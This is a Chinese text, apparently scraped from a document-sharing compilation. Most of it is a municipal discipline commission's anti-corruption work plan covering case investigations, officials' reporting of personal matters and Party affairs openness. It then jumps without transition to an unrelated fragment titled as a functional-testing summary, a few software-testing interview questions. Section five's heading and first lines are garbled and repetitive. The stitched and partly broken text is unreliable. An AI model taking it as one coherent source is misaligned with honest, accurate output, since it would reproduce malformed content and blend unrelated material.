按照地区纪委的部署要求，根据人民群众的迫切期待，着力解决一批热点难点问题，以党风廉政建设的实际行动回应社会关切，以党风廉政建设的实际成效取信于民。当前，要在整体推进反腐倡廉建设的基础上，着重抓好以下工作。一是坚决查处违纪违法案件，严厉惩处腐败分子和整治消极腐败现象。二是认真落实并抓紧完善党员领导干部报告个人有关事项制度。三是坚持勤俭节约，反对铺张浪费，惩治奢靡之风。四是深入开展工程建设领域突出问题和“小金库”
等专项治理。五是积极推进党务公开。六是拓宽群众参与反腐倡廉工作渠道，加强反腐倡廉舆情网络信息的收集、研判和处置。
四、进一步加大查办案件工作力度。
坚决贯彻党要管党、从严治党方针，坚定不移地惩治腐败，决不让任何腐败分子逃脱党纪国法惩处。严肃查办发生在领导机关和领导干部中滥用职权、贪污贿赂、腐化堕落、失职渎职案件，严厉惩处利用人事权、司法权、行政执法权、行政审批权谋取非法利益的行为。深入开展商业贿赂专项治理，严肃查办商业贿赂案件，在坚决惩处受贿行为的同时，加大对行贿行为的查处力度，严肃查办严重侵害群众利益案件、群体性事件和重大责任事故背后的腐败案件，对造成人民群众生命财产重大损失的地方和单位要严肃追究有关人员的责任。严肃查办工程建设、房地产开发、土地管理和矿产资源开发等腐败现象易发多发领域的案件。严肃查办严重违反政治纪律和组织人事纪律的案件，严格执行依纪依法办案和安全文明办案的各项规定，落实办案安全工作责任制，坚决避免和防范办案安全事故发生。健全和完善反腐败协调工作机制、举报人和证人保护制度、案件检查工作规程，提高有效突破重大复杂案件的能力和水平。正确运用政策和策略，努力取得查办案件良好的政治效果、社会效果和法纪效果。建立案件检查与审理工作协调配合制度，发挥案件审理的监督作用，不断提高查办案件质量。加强信访目标管理，
认真开展信访监督，积极化解矛盾纠纷，切实维护社会稳定。
五、完善案件查办程序一般性案件从初核到结案的实施细则。一般性案件从初核到结案的完整体系。市纪委监察局继续认真落实一般性案件从初核到结案的实施细则，在原有的基础上，继续上会研究办案程序的每个细节，在反复上会研究的基础上加以完善。
六、认真落实并抓紧完善党员领导干部报告个人有关事项制度，加强对配偶子女均已移居国（境）外的公职人员管理。
严格执行中央纪委修订完善后的《关于党员领导干部报告个人有关事项的规定》，督促党员领导干部按规定报告个人的住房、投资、配偶子女从业等有关事项。试行后备干部和拟提拔干部廉政报告制度，在荆门市掇刀区开展党员领导干部个人有关事项报告制度试点，鼓励有条件的县（市）全面推行。探索建立领导干部个人有关事项报告公示制度，加强监督检查，对隐瞒不报、弄虚作假的要严肃处理。
市纪委监察局在市委、市政府领导下充分发挥参谋助手作用，加强责任分解、责任考核、责任追究，加强对工作部署特别是重点工作落实情况的监督检查，保证各项工作顺利开展。
第20篇：功能测试总结
以下内容，感谢本人朋友提供：
1.对你们整个系统的数据流走向熟悉了吗 2.没操作一步，数据进入哪些表? 什么状态? 3.产生多少条数据 4.服务架构是什么 5.抓包分析你的接口了吗
6.那怎么定位到代码错误的?先查看日志
服务器架构
